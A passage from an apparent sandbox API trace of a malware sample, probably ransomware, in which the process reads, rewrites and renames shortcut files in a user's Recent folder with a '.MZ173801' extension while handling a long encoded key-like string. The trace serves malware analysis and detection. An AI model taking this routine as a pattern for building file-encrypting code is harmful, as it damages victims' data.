IxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", cchWideChar=1588, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1588 [0122.519] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", cchWideChar=1588, lpMultiByteStr=0x79079c, cbMultiByte=1588, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", lpUsedDefaultChar=0x0) returned 1588 [0122.522] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\_bUsoF-1OZB 3IZ4.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\_busof-1ozb 3iz4.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x288 [0122.522] ReadFile (in: hFile=0x288, lpBuffer=0x7a02a0, nNumberOfBytesToRead=0x1365, lpNumberOfBytesRead=0x18f990, lpOverlapped=0x0 | out: lpBuffer=0x7a02a0*, lpNumberOfBytesRead=0x18f990*=0x1365, lpOverlapped=0x0) returned 1 [0122.523] CloseHandle (hObject=0x288) returned 1 [0122.523] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\_bUsoF-1OZB 3IZ4.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\_busof-1ozb 3iz4.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x288 [0122.524] WriteFile (in: hFile=0x288, lpBuffer=0x7a22d0*, nNumberOfBytesToWrite=0x1365, lpNumberOfBytesWritten=0x18f99c, lpOverlapped=0x0 | out: lpBuffer=0x7a22d0*, lpNumberOfBytesWritten=0x18f99c*=0x1365, lpOverlapped=0x0) returned 1 [0122.526] CloseHandle (hObject=0x288) returned 1 [0122.531] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\_bUsoF-1OZB 3IZ4.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\_busof-1ozb 3iz4.lnk"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\_bUsoF-1OZB 3IZ4.lnk.MZ173801" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\_busof-1ozb 3iz4.lnk.mz173801")) returned 1 [0122.532] FindNextFileW (in: hFindFile=0x2fc680, lpFindFileData=0x18fac8 | out: lpFindFileData=0x18fac8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdf643b00, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xdf643b00, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xdf643b00, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0xef1, dwReserved0=0x7a98342e, dwReserved1=0xa03bf443, cFileName="_lWh-UgZnqS4ctet.lnk", cAlternateFileName="_LWH-U~1.LNK")) returned 1 [0122.532] FileTimeToLocalFileTime (in: lpFileTime=0x18fadc, lpLocalFileTime=0x18fa3c | out: lpLocalFileTime=0x18fa3c) returned 1 [0122.532] FileTimeToDosDateTime (in: lpFileTime=0x18fa3c, lpFatDate=0x18faaa, lpFatTime=0x18faa8 | out: lpFatDate=0x18faaa, lpFatTime=0x18faa8) returned 1 [0122.532] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\_lWh-UgZnqS4ctet.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\_lwh-ugznqs4ctet.lnk"), fInfoLevelId=0x0, lpFileInformation=0x18f9d0 | out: lpFileInformation=0x18f9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdf643b00, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xdf643b00, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xdf643b00, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0xef1)) returned 1 [0122.534] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", cchWideChar=1588, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1588 [0122.534] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", cchWideChar=1588, lpMultiByteStr=0x79079c, cbMultiByte=1588, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", lpUsedDefaultChar=0x0) returned 1588 [0122.537] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\_lWh-UgZnqS4ctet.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\_lwh-ugznqs4ctet.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x288 [0122.538] ReadFile (in: hFile=0x288, lpBuffer=0x7a02a0, nNumberOfBytesToRead=0xef1, lpNumberOfBytesRead=0x18f990, lpOverlapped=0x0 | out: lpBuffer=0x7a02a0*, lpNumberOfBytesRead=0x18f990*=0xef1, lpOverlapped=0x0) returned 1 [0122.539] CloseHandle (hObject=0x288) returned 1 [0122.539] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\_lWh-UgZnqS4ctet.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\_lwh-ugznqs4ctet.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x288 [0122.540] WriteFile (in: hFile=0x288, lpBuffer=0x7a22d0*, nNumberOfBytesToWrite=0xef1, lpNumberOfBytesWritten=0x18f99c, lpOverlapped=0x0 | out: lpBuffer=0x7a22d0*, lpNumberOfBytesWritten=0x18f99c*=0xef1, lpOverlapped=0x0) returned 1 [0122.541] CloseHandle (hObject=0x288) returned 1 [0122.554] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\_lWh-UgZnqS4ctet.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\_lwh-ugznqs4ctet.lnk"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\_lWh-UgZnqS4ctet.lnk.MZ173801" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\_lwh-ugznqs4ctet.lnk.mz173801")) returned 1 [0122.555] FindNextFileW (in: hFindFile=0x2fc680, lpFindFileData=0x18fac8 | out: lpFindFileData=0x18fac8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdf728340, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xdf728340, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xdf728340, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0xf4d, dwReserved0=0x7a98342e, dwReserved1=0xa03bf443, cFileName="_QGlcVYKYQv4WkAR3e5.lnk", cAlternateFileName="_QGLCV~1.LNK")) returned 1 [0122.555] FileTimeToLocalFileTime (in: lpFileTime=0x18fadc, lpLocalFileTime=0x18fa3c | out: lpLocalFileTime=0x18fa3c) returned 1 [0122.555] FileTimeToDosDateTime (in: lpFileTime=0x18fa3c, lpFatDate=0x18faaa, lpFatTime=0x18faa8 | out: lpFatDate=0x18faaa, lpFatTime=0x18faa8) returned 1 [0122.556] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\_QGlcVYKYQv4WkAR3e5.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\_qglcvykyqv4wkar3e5.lnk"), fInfoLevelId=0x0, lpFileInformation=0x18f9d0 | out: lpFileInformation=0x18f9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdf728340, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xdf728340, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xdf728340, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0xf4d)) returned 1 [0122.558] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDR